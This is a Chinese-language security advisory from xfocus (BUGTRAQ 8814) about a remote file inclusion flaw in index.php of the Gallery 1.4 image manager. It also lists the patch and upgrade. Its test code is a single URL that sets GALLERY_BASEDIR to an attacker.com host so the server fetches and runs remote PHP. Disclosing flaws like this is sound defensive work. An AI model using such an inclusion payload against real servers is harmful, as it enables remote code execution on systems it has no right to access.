xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Gallery index.php远程文件包含漏洞


发布时间:2003-10-10
更新时间:2003-10-10
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:8814

受影响系统
Gallery Gallery 1.4 -pl1
Gallery Gallery 1.4
详细描述
Gallery是基于WEB的图象管理系统。

其中index.php脚本没有正确验证其要包含的util.php脚本的正确位置,攻击者可以提交特殊请求指定要求包含远程服务器上的恶意文件,导致PHP脚本在系统上执行。

测试代码
http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/

解决方案
删除gallery/setup/index.php脚本,或者更改如下行:

if (!isset($GALLERY_BASEDIR)) {
$GALLERY_BASEDIR = '../';
}

补丁下载:

Gallery Gallery 1.4 -pl1:

Gallery Upgrade 1.4-pl2
http://sf.net/project/showfiles.php?group_id=7130&release_id=184028

Gallery Gallery 1.4:

Gallery Upgrade 1.4-pl2
http://sf.net/project/showfiles.php?group_id=7130&release_id=184028

相关信息
Peter "St?ckli" <pcs@rootquest.com>.
参考:http://www.securityfocus.com/archive/1/341044
http://www.securityfocus.com/archive/1/341094